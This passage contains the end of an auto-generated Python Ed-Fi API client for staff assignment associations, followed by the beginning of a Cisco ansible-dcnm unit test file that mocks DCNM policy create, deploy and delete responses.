education_organization_id: The identifier assigned to an education organization. :param str staff_unique_id: A unique alphanumeric code assigned to a staff. :param str credential_identifier: Identifier or serial number assigned to the credential. :param str state_of_issue_state_abbreviation_descriptor: The abbreviation for the name of the state (within the United States) or extra-state jurisdiction in which a license/credential was issued. :param int employment_education_organization_id: The identifier assigned to an education organization. :param str employment_status_descriptor: Reflects the type of employment or contract; for example: Probationary Contractual Substitute/temporary Tenured or permanent Volunteer/no contract ... :param date employment_hire_date: The month, day, and year on which an individual was hired for a position. :param date end_date: Month, day, and year of the end or termination date of a staff member's employment, contract, or relationship with the education organization. :param float full_time_equivalency: The ratio between the hours of work expected in a position and the hours of work normally expected in a full-time position in the same setting. :param str id: :param int order_of_assignment: Describes whether the assignment is this the staff member's primary assignment, secondary assignment, etc. :param str position_title: The descriptive name of an individual's position. :param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used. :return: list[EdFiStaffEducationOrganizationAssignmentAssociation] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_staff_education_organization_assignment_associations_with_http_info(**kwargs) # noqa: E501 else: (data) = self.get_staff_education_organization_assignment_associations_with_http_info(**kwargs) # noqa: E501 return data def get_staff_education_organization_assignment_associations_with_http_info(self, **kwargs): # noqa: E501 """Retrieves specific resources using the resource's property values (using the \"Get\" pattern). # noqa: E501 This GET operation provides access to resources using the \"Get\" search pattern. The values of any properties of the resource that are specified will be used to return all matching results (if it exists). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_staff_education_organization_assignment_associations_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :param int offset: Indicates how many items should be skipped before returning results. :param int limit: Indicates the maximum number of items that should be returned in the results. :param int min_change_version: Used in synchronization to set sequence minimum ChangeVersion :param int max_change_version: Used in synchronization to set sequence maximum ChangeVersion :param bool total_count: Indicates if the total number of items available should be returned in the 'Total-Count' header of the response. If set to false, 'Total-Count' header will not be provided. :param str staff_classification_descriptor: The titles of employment, official status, or rank of education staff. :param date begin_date: Month, day, and year of the start or effective date of a staff member's employment, contract, or relationship with the education organization. :param int education_organization_id: The identifier assigned to an education organization. :param str staff_unique_id: A unique alphanumeric code assigned to a staff. :param str credential_identifier: Identifier or serial number assigned to the credential. :param str state_of_issue_state_abbreviation_descriptor: The abbreviation for the name of the state (within the United States) or extra-state jurisdiction in which a license/credential was issued. :param int employment_education_organization_id: The identifier assigned to an education organization. :param str employment_status_descriptor: Reflects the type of employment or contract; for example: Probationary Contractual Substitute/temporary Tenured or permanent Volunteer/no contract ... :param date employment_hire_date: The month, day, and year on which an individual was hired for a position. :param date end_date: Month, day, and year of the end or termination date of a staff member's employment, contract, or relationship with the education organization. :param float full_time_equivalency: The ratio between the hours of work expected in a position and the hours of work normally expected in a full-time position in the same setting. :param str id: :param int order_of_assignment: Describes whether the assignment is this the staff member's primary assignment, secondary assignment, etc. :param str position_title: The descriptive name of an individual's position. :param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used. :return: list[EdFiStaffEducationOrganizationAssignmentAssociation] If the method is called asynchronously, returns the request thread. """ all_params = ['offset', 'limit', 'min_change_version', 'max_change_version', 'total_count', 'staff_classification_descriptor', 'begin_date', 'education_organization_id', 'staff_unique_id', 'credential_identifier', 'state_of_issue_state_abbreviation_descriptor', 'employment_education_organization_id', 'employment_status_descriptor', 'employment_hire_date', 'end_date', 'full_time_equivalency', 'id', 'order_of_assignment', 'position_title', 'snapshot_identifier'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_staff_education_organization_assignment_associations" % key ) params[key] = val del params['kwargs'] if self.api_client.client_side_validation and ('limit' in params and params['limit'] > 500): # noqa: E501 raise ValueError("Invalid value for parameter `limit` when calling `get_staff_education_organization_assignment_associations`, must be a value less than or equal to `500`") # noqa: E501 if self.api_client.client_side_validation and ('limit' in params and params['limit'] < 0): # noqa: E501 raise ValueError("Invalid value for parameter `limit` when calling `get_staff_education_organization_assignment_associations`, must be a value greater than or equal to `0`") # noqa: E501 if self.api_client.client_side_validation and ('staff_classification_descriptor' in params and len(params['staff_classification_descriptor']) > 306): raise ValueError("Invalid value for parameter `staff_classification_descriptor` when calling `get_staff_education_organization_assignment_associations`, length must be less than or equal to `306`") # noqa: E501 if self.api_client.client_side_validation and ('staff_unique_id' in params and len(params['staff_unique_id']) > 32): raise ValueError("Invalid value for parameter `staff_unique_id` when calling `get_staff_education_organization_assignment_associations`, length must be less than or equal to `32`") # noqa: E501 if self.api_client.client_side_validation and ('credential_identifier' in params and len(params['credential_identifier']) > 60): raise ValueError("Invalid value for parameter `credential_identifier` when calling `get_staff_education_organization_assignment_associations`, length must be less than or equal to `60`") # noqa: E501 if self.api_client.client_side_validation and ('state_of_issue_state_abbreviation_descriptor' in params and len(params['state_of_issue_state_abbreviation_descriptor']) > 306): raise ValueError("Invalid value for parameter `state_of_issue_state_abbreviation_descriptor` when calling `get_staff_education_organization_assignment_associations`, length must be less than or equal to `306`") # noqa: E501 if self.api_client.client_side_validation and ('employment_status_descriptor' in params and len(params['employment_status_descriptor']) > 306): raise ValueError("Invalid value for parameter `employment_status_descriptor` when calling `get_staff_education_organization_assignment_associations`, length must be less than or equal to `306`") # noqa: E501 if self.api_client.client_side_validation and ('position_title' in params and len(params['position_title']) > 100): raise ValueError("Invalid value for parameter `position_title` when calling `get_staff_education_organization_assignment_associations`, length must be less than or equal to `100`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] if 'offset' in params: query_params.append(('offset', params['offset'])) # noqa: E501 if 'limit' in params: query_params.append(('limit', params['limit'])) # noqa: E501 if 'min_change_version' in params: query_params.append(('minChangeVersion', params['min_change_version'])) # noqa: E501 if 'max_change_version' in params: query_params.append(('maxChangeVersion', params['max_change_version'])) # noqa: E501 if 'total_count' in params: query_params.append(('totalCount', params['total_count'])) # noqa: E501 if 'staff_classification_descriptor' in params: query_params.append(('staffClassificationDescriptor', params['staff_classification_descriptor'])) # noqa: E501 if 'begin_date' in params: query_params.append(('beginDate', params['begin_date'])) # noqa: E501 if 'education_organization_id' in params: query_params.append(('educationOrganizationId', params['education_organization_id'])) # noqa: E501 if 'staff_unique_id' in params: query_params.append(('staffUniqueId', params['staff_unique_id'])) # noqa: E501 if 'credential_identifier' in params: query_params.append(('credentialIdentifier', params['credential_identifier'])) # noqa: E501 if 'state_of_issue_state_abbreviation_descriptor' in params: query_params.append(('stateOfIssueStateAbbreviationDescriptor', params['state_of_issue_state_abbreviation_descriptor'])) # noqa: E501 if 'employment_education_organization_id' in params: query_params.append(('employmentEducationOrganizationId', params['employment_education_organization_id'])) # noqa: E501 if 'employment_status_descriptor' in params: query_params.append(('employmentStatusDescriptor', params['employment_status_descriptor'])) # noqa: E501 if 'employment_hire_date' in params: query_params.append(('employmentHireDate', params['employment_hire_date'])) # noqa: E501 if 'end_date' in params: query_params.append(('endDate', params['end_date'])) # noqa: E501 if 'full_time_equivalency' in params: query_params.append(('fullTimeEquivalency', params['full_time_equivalency'])) # noqa: E501 if 'id' in params: query_params.append(('id', params['id'])) # noqa: E501 if 'order_of_assignment' in params: query_params.append(('orderOfAssignment', params['order_of_assignment'])) # noqa: E501 if 'position_title' in params: query_params.append(('positionTitle', params['position_title'])) # noqa: E501 header_params = {} if 'snapshot_identifier' in params: header_params['Snapshot-Identifier'] = params['snapshot_identifier'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['oauth2_client_credentials'] # noqa: E501 return self.api_client.call_api( '/ed-fi/staffEducationOrganizationAssignmentAssociations', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[EdFiStaffEducationOrganizationAssignmentAssociation]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_staff_education_organization_assignment_associations_by_id(self, id, **kwargs): # noqa: E501 """Retrieves a specific resource using the resource's identifier (using the \"Get By Id\" pattern). # noqa: E501 This GET operation retrieves a resource by the specified resource identifier. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_staff_education_organization_assignment_associations_by_id(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: A resource identifier that uniquely identifies the resource. (required) :param str if_none_match: The previously returned ETag header value, used here to prevent the unnecessary data transfer of an unchanged resource. :param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used. :return: EdFiStaffEducationOrganizationAssignmentAssociation If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_staff_education_organization_assignment_associations_by_id_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.get_staff_education_organization_assignment_associations_by_id_with_http_info(id, **kwargs) # noqa: E501 return data def get_staff_education_organization_assignment_associations_by_id_with_http_info(self, id, **kwargs): # noqa: E501 """Retrieves a specific resource using the resource's identifier (using the \"Get By Id\" pattern). # noqa: E501 This GET operation retrieves a resource by the specified resource identifier. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_staff_education_organization_assignment_associations_by_id_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: A resource identifier that uniquely identifies the resource. (required) :param str if_none_match: The previously returned ETag header value, used here to prevent the unnecessary data transfer of an unchanged resource. :param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used. :return: EdFiStaffEducationOrganizationAssignmentAssociation If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'if_none_match', 'snapshot_identifier'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_staff_education_organization_assignment_associations_by_id" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in params or params['id'] is None): # noqa: E501 raise ValueError("Missing the required parameter `id` when calling `get_staff_education_organization_assignment_associations_by_id`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} if 'if_none_match' in params: header_params['If-None-Match'] = params['if_none_match'] # noqa: E501 if 'snapshot_identifier' in params: header_params['Snapshot-Identifier'] = params['snapshot_identifier'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['oauth2_client_credentials'] # noqa: E501 return self.api_client.call_api( '/ed-fi/staffEducationOrganizationAssignmentAssociations/{id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='EdFiStaffEducationOrganizationAssignmentAssociation', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def post_staff_education_organization_assignment_association(self, staff_education_organization_assignment_association, **kwargs): # noqa: E501 """Creates or updates resources based on the natural key values of the supplied resource. # noqa: E501 The POST operation can be used to create or update resources. In database terms, this is often referred to as an \"upsert\" operation (insert + update). Clients should NOT include the resource \"id\" in the JSON body because it will result in an error. The web service will identify whether the resource already exists based on the natural key values provided, and update or create the resource appropriately. It is recommended to use POST for both create and update except while updating natural key of a resource in which case PUT operation must be used. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.post_staff_education_organization_assignment_association(staff_education_organization_assignment_association, async_req=True) >>> result = thread.get() :param async_req bool :param EdFiStaffEducationOrganizationAssignmentAssociation staff_education_organization_assignment_association: The JSON representation of the \"staffEducationOrganizationAssignmentAssociation\" resource to be created or updated. (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.post_staff_education_organization_assignment_association_with_http_info(staff_education_organization_assignment_association, **kwargs) # noqa: E501 else: (data) = self.post_staff_education_organization_assignment_association_with_http_info(staff_education_organization_assignment_association, **kwargs) # noqa: E501 return data def post_staff_education_organization_assignment_association_with_http_info(self, staff_education_organization_assignment_association, **kwargs): # noqa: E501 """Creates or updates resources based on the natural key values of the supplied resource. # noqa: E501 The POST operation can be used to create or update resources. In database terms, this is often referred to as an \"upsert\" operation (insert + update). Clients should NOT include the resource \"id\" in the JSON body because it will result in an error. The web service will identify whether the resource already exists based on the natural key values provided, and update or create the resource appropriately. It is recommended to use POST for both create and update except while updating natural key of a resource in which case PUT operation must be used. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.post_staff_education_organization_assignment_association_with_http_info(staff_education_organization_assignment_association, async_req=True) >>> result = thread.get() :param async_req bool :param EdFiStaffEducationOrganizationAssignmentAssociation staff_education_organization_assignment_association: The JSON representation of the \"staffEducationOrganizationAssignmentAssociation\" resource to be created or updated. (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['staff_education_organization_assignment_association'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_staff_education_organization_assignment_association" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'staff_education_organization_assignment_association' is set if self.api_client.client_side_validation and ('staff_education_organization_assignment_association' not in params or params['staff_education_organization_assignment_association'] is None): # noqa: E501 raise ValueError("Missing the required parameter `staff_education_organization_assignment_association` when calling `post_staff_education_organization_assignment_association`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None if 'staff_education_organization_assignment_association' in params: body_params = params['staff_education_organization_assignment_association'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['oauth2_client_credentials'] # noqa: E501 return self.api_client.call_api( '/ed-fi/staffEducationOrganizationAssignmentAssociations', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def put_staff_education_organization_assignment_association(self, id, staff_education_organization_assignment_association, **kwargs): # noqa: E501 """Updates a resource based on the resource identifier. # noqa: E501 The PUT operation is used to update a resource by identifier. If the resource identifier (\"id\") is provided in the JSON body, it will be ignored. Additionally, this API resource is not configured for cascading natural key updates. Natural key values for this resource cannot be changed using PUT operation and will not be modified in the database, and so recommendation is to use POST as that supports upsert behavior. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.put_staff_education_organization_assignment_association(id, staff_education_organization_assignment_association, async_req=True) >>> result = thread.get() :param async_req bool :param str id: A resource identifier that uniquely identifies the resource. (required) :param EdFiStaffEducationOrganizationAssignmentAssociation staff_education_organization_assignment_association: The JSON representation of the \"staffEducationOrganizationAssignmentAssociation\" resource to be created or updated. (required) :param str if_match: The ETag header value used to prevent the PUT from updating a resource modified by another consumer. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.put_staff_education_organization_assignment_association_with_http_info(id, staff_education_organization_assignment_association, **kwargs) # noqa: E501 else: (data) = self.put_staff_education_organization_assignment_association_with_http_info(id, staff_education_organization_assignment_association, **kwargs) # noqa: E501 return data def put_staff_education_organization_assignment_association_with_http_info(self, id, staff_education_organization_assignment_association, **kwargs): # noqa: E501 """Updates a resource based on the resource identifier. # noqa: E501 The PUT operation is used to update a resource by identifier. If the resource identifier (\"id\") is provided in the JSON body, it will be ignored. Additionally, this API resource is not configured for cascading natural key updates. Natural key values for this resource cannot be changed using PUT operation and will not be modified in the database, and so recommendation is to use POST as that supports upsert behavior. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.put_staff_education_organization_assignment_association_with_http_info(id, staff_education_organization_assignment_association, async_req=True) >>> result = thread.get() :param async_req bool :param str id: A resource identifier that uniquely identifies the resource. (required) :param EdFiStaffEducationOrganizationAssignmentAssociation staff_education_organization_assignment_association: The JSON representation of the \"staffEducationOrganizationAssignmentAssociation\" resource to be created or updated. (required) :param str if_match: The ETag header value used to prevent the PUT from updating a resource modified by another consumer. :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'staff_education_organization_assignment_association', 'if_match'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method put_staff_education_organization_assignment_association" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in params or params['id'] is None): # noqa: E501 raise ValueError("Missing the required parameter `id` when calling `put_staff_education_organization_assignment_association`") # noqa: E501 # verify the required parameter 'staff_education_organization_assignment_association' is set if self.api_client.client_side_validation and ('staff_education_organization_assignment_association' not in params or params['staff_education_organization_assignment_association'] is None): # noqa: E501 raise ValueError("Missing the required parameter `staff_education_organization_assignment_association` when calling `put_staff_education_organization_assignment_association`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} if 'if_match' in params: header_params['If-Match'] = params['if_match'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'staff_education_organization_assignment_association' in params: body_params = params['staff_education_organization_assignment_association'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['oauth2_client_credentials'] # noqa: E501 return self.api_client.call_api( '/ed-fi/staffEducationOrganizationAssignmentAssociations/{id}', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)

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54a21e5df38604892c8b4a86723e5748f670e300

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py

Python

tests/unit/modules/dcnm/test_dcnm_policy.py

CiscoDevNet/ansible-dcnm

1fa025085342d7d57fc4588471504d3089bd296f

[ "Apache-2.0" ]

28

2020-07-19T02:56:38.000Z

2022-03-03T01:28:10.000Z

tests/unit/modules/dcnm/test_dcnm_policy.py

CiscoDevNet/ansible-dcnm

1fa025085342d7d57fc4588471504d3089bd296f

[ "Apache-2.0" ]

67

2020-07-17T21:49:00.000Z

2022-03-20T14:59:23.000Z

tests/unit/modules/dcnm/test_dcnm_policy.py

CiscoDevNet/ansible-dcnm

1fa025085342d7d57fc4588471504d3089bd296f

[ "Apache-2.0" ]

18

2020-07-07T14:42:22.000Z

2022-03-09T12:31:13.000Z

#!/usr/bin/python # # Copyright (c) 2020 Cisco and/or its affiliates. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Make coding more python3-ish from __future__ import (absolute_import, division, print_function) __metaclass__ = type from ansible_collections.ansible.netcommon.tests.unit.compat.mock import patch from ansible_collections.cisco.dcnm.plugins.modules import dcnm_policy from .dcnm_module import TestDcnmModule, set_module_args, loadPlaybookData import json, copy class TestDcnmPolicyModule(TestDcnmModule): module = dcnm_policy fd = None def init_data(self): pass def log_msg (self, msg): if fd is None: fd = open("policy-ut.log", "w+") self.fd.write (msg) self.fd.flush() def setUp(self): super(TestDcnmPolicyModule, self).setUp() self.mock_dcnm_fabric_details = patch('ansible_collections.cisco.dcnm.plugins.modules.dcnm_policy.get_fabric_inventory_details') self.run_dcnm_fabric_details = self.mock_dcnm_fabric_details.start() self.mock_dcnm_ip_sn = patch('ansible_collections.cisco.dcnm.plugins.modules.dcnm_policy.get_ip_sn_dict') self.run_dcnm_ip_sn = self.mock_dcnm_ip_sn.start() self.mock_dcnm_send = patch('ansible_collections.cisco.dcnm.plugins.modules.dcnm_policy.dcnm_send') self.run_dcnm_send = self.mock_dcnm_send.start() def tearDown(self): super(TestDcnmPolicyModule, self).tearDown() self.mock_dcnm_send.stop() #################################### FIXTURES ############################ def load_policy_fixtures (self): if ('test_dcnm_policy_merged_new' == self._testMethodName): create_succ_resp1 = self.payloads_data.get('success_create_response_101') create_succ_resp2 = self.payloads_data.get('success_create_response_102') create_succ_resp3 = self.payloads_data.get('success_create_response_103') create_succ_resp4 = self.payloads_data.get('success_create_response_104') create_succ_resp5 = self.payloads_data.get('success_create_response_105') deploy_succ_resp = self.payloads_data.get('success_deploy_response_101_105') have_all_resp = self.payloads_data.get('policy_have_all_resp') self.run_dcnm_send.side_effect = [have_all_resp, create_succ_resp1, create_succ_resp2, create_succ_resp3, create_succ_resp4, create_succ_resp5, deploy_succ_resp] if ('test_dcnm_policy_merged_same_template' == self._testMethodName): have_101_105_resp = self.payloads_data.get('have_response_101_105') create_succ_resp1 = self.payloads_data.get('success_create_response_101') deploy_succ_resp = self.payloads_data.get('success_deploy_response_101_101_5') self.run_dcnm_send.side_effect = [have_101_105_resp, create_succ_resp1, create_succ_resp1, create_succ_resp1, create_succ_resp1, create_succ_resp1, deploy_succ_resp] if ('test_dcnm_policy_merged_new_check_mode' == self._testMethodName): have_all_resp = self.payloads_data.get('policy_have_all_resp') self.run_dcnm_send.side_effect = [have_all_resp] if ('test_dcnm_policy_merged_existing' == self._testMethodName): create_succ_resp1 = self.payloads_data.get('success_create_response_101') create_succ_resp2 = self.payloads_data.get('success_create_response_102') create_succ_resp3 = self.payloads_data.get('success_create_response_103') create_succ_resp4 = self.payloads_data.get('success_create_response_104') create_succ_resp5 = self.payloads_data.get('success_create_response_105') deploy_succ_resp = self.payloads_data.get('success_deploy_response_101_105') have_101_105_resp = self.payloads_data.get('have_response_101_105') self.run_dcnm_send.side_effect = [have_101_105_resp, deploy_succ_resp] if ('test_dcnm_policy_merged_existing_and_non_exist' == self._testMethodName): create_succ_resp4 = self.payloads_data.get('success_create_response_104') create_succ_resp5 = self.payloads_data.get('success_create_response_105') deploy_succ_resp = self.payloads_data.get('success_deploy_response_101_105') have_101_103_resp = self.payloads_data.get('have_response_101_103') self.run_dcnm_send.side_effect = [have_101_103_resp, create_succ_resp4, create_succ_resp5, deploy_succ_resp] if ('test_dcnm_policy_without_state' == self._testMethodName): create_succ_resp4 = self.payloads_data.get('success_create_response_104') create_succ_resp5 = self.payloads_data.get('success_create_response_105') deploy_succ_resp = self.payloads_data.get('success_deploy_response_104_105') self.run_dcnm_send.side_effect = [[], create_succ_resp4, create_succ_resp5, deploy_succ_resp] if ('test_dcnm_policy_merge_additional_policies' == self._testMethodName): create_succ_resp4 = self.payloads_data.get('success_create_response_104') create_succ_resp4_1 = self.payloads_data.get('success_create_response_104_1') deploy_succ_resp = self.payloads_data.get('success_deploy_response_104_104_1') self.run_dcnm_send.side_effect = [[], create_succ_resp4, create_succ_resp4_1, deploy_succ_resp] if ('test_dcnm_policy_merge_additional_policies_exist' == self._testMethodName): have_resp_104 = self.payloads_data.get('have_response_104') create_succ_resp4 = self.payloads_data.get('success_create_response_104') create_succ_resp4_1 = self.payloads_data.get('success_create_response_104_1') deploy_succ_resp = self.payloads_data.get('success_deploy_response_104_104_1') self.run_dcnm_send.side_effect = [have_resp_104, create_succ_resp4, create_succ_resp4_1, deploy_succ_resp] if ('test_dcnm_policy_merge_multiple_switches' == self._testMethodName): create_succ_resp12 = self.payloads_data.get('success_create_response_101_sw2') create_succ_resp13 = self.payloads_data.get('success_create_response_101_sw3') create_succ_resp22 = self.payloads_data.get('success_create_response_102_sw2') create_succ_resp23 = self.payloads_data.get('success_create_response_102_sw3') create_succ_resp32 = self.payloads_data.get('success_create_response_103_sw2') create_succ_resp33 = self.payloads_data.get('success_create_response_103_sw3') create_succ_resp4 = self.payloads_data.get('success_create_response_104') create_succ_resp5 = self.payloads_data.get('success_create_response_105') deploy_succ_resp_multi_sw = self.payloads_data.get('success_deploy_response_101_105_multi_switch') self.run_dcnm_send.side_effect = [[], create_succ_resp12, create_succ_resp13, create_succ_resp22, create_succ_resp23, create_succ_resp32, create_succ_resp33, create_succ_resp4, create_succ_resp5, deploy_succ_resp_multi_sw] if ('test_dcnm_policy_merge_deploy_false' == self._testMethodName): create_succ_resp4 = self.payloads_data.get('success_create_response_104') self.run_dcnm_send.side_effect = [[], create_succ_resp4] if ('test_dcnm_policy_merge_no_deploy' == self._testMethodName): create_succ_resp1 = self.payloads_data.get('success_create_response_101') create_succ_resp2 = self.payloads_data.get('success_create_response_102') create_succ_resp3 = self.payloads_data.get('success_create_response_103') create_succ_resp4 = self.payloads_data.get('success_create_response_104') create_succ_resp5 = self.payloads_data.get('success_create_response_105') deploy_succ_resp = self.payloads_data.get('success_deploy_response_101_105') have_all_resp = self.payloads_data.get('policy_have_all_resp') self.run_dcnm_send.side_effect = [have_all_resp, create_succ_resp1, create_succ_resp2, create_succ_resp3, create_succ_resp4, create_succ_resp5, deploy_succ_resp] if ('test_dcnm_policy_merged_new_with_vars' == self._testMethodName): create_succ_resp1 = self.payloads_data.get('success_create_response_125') create_succ_resp2 = self.payloads_data.get('success_create_response_126') create_succ_resp3 = self.payloads_data.get('success_create_response_127') deploy_succ_resp = self.payloads_data.get('success_deploy_response_125_127') have_all_resp = self.payloads_data.get('policy_have_all_resp') self.run_dcnm_send.side_effect = [have_all_resp, create_succ_resp1, create_succ_resp2, create_succ_resp3, deploy_succ_resp] if ('test_dcnm_policy_modify_with_template_name' == self._testMethodName): deploy_succ_resp = self.payloads_data.get('success_deploy_response_104') have_all_resp = self.payloads_data.get('have_response_101_105') create_succ_resp1 = self.payloads_data.get('success_create_response_101') self.run_dcnm_send.side_effect = [have_all_resp, create_succ_resp1, deploy_succ_resp] if ('test_dcnm_policy_modify_with_policy_id' == self._testMethodName): create_succ_resp4 = self.payloads_data.get('success_create_response_104') deploy_succ_resp = self.payloads_data.get('success_deploy_response_104') get_response_104 = self.payloads_data.get('get_response_104') have_all_resp = self.payloads_data.get('have_response_101_105') self.run_dcnm_send.side_effect = [get_response_104, have_all_resp, create_succ_resp4, deploy_succ_resp] if ('test_dcnm_policy_modify_policy_with_vars' == self._testMethodName): create_succ_resp1 = self.payloads_data.get('success_create_response_125') deploy_succ_resp = self.payloads_data.get('success_deploy_response_125') have_all_resp = self.payloads_data.get('have_response_125') get_response_125 = self.payloads_data.get('get_response_125') self.run_dcnm_send.side_effect = [get_response_125, have_all_resp, create_succ_resp1, deploy_succ_resp] if ('test_dcnm_policy_delete_with_template_name' == self._testMethodName): have_resp_101_105 = self.payloads_data.get('have_response_101_105') mark_delete_resp_101 = self.payloads_data.get('mark_delete_response_101') mark_delete_resp_102 = self.payloads_data.get('mark_delete_response_102') mark_delete_resp_103 = self.payloads_data.get('mark_delete_response_103') mark_delete_resp_104 = self.payloads_data.get('mark_delete_response_104') mark_delete_resp_105 = self.payloads_data.get('mark_delete_response_105') delete_config_save_resp = self.payloads_data.get('delete_config_deploy_response_101_105') self.run_dcnm_send.side_effect = [have_resp_101_105, mark_delete_resp_101, mark_delete_resp_102, mark_delete_resp_103, mark_delete_resp_104, mark_delete_resp_105, delete_config_save_resp, [], [], [], [], [], ] if ('test_dcnm_policy_delete_with_policy_id' == self._testMethodName): get_response_101 = self.payloads_data.get('get_response_101') get_response_102 = self.payloads_data.get('get_response_102') get_response_103 = self.payloads_data.get('get_response_103') get_response_104 = self.payloads_data.get('get_response_104') get_response_105 = self.payloads_data.get('get_response_105') have_resp_101_105 = self.payloads_data.get('have_response_101_105') mark_delete_resp_101 = self.payloads_data.get('mark_delete_response_101') mark_delete_resp_102 = self.payloads_data.get('mark_delete_response_102') mark_delete_resp_103 = self.payloads_data.get('mark_delete_response_103') mark_delete_resp_104 = self.payloads_data.get('mark_delete_response_104') mark_delete_resp_105 = self.payloads_data.get('mark_delete_response_105') delete_config_save_resp = self.payloads_data.get('delete_config_deploy_response_101_105') self.run_dcnm_send.side_effect = [ get_response_101, get_response_102, get_response_103, get_response_104, get_response_105, have_resp_101_105, mark_delete_resp_101, mark_delete_resp_102, mark_delete_resp_103, mark_delete_resp_104, mark_delete_resp_105, delete_config_save_resp, [], [], [], [], [], ] if ('test_dcnm_policy_delete_multiple_policies_with_template_name' == 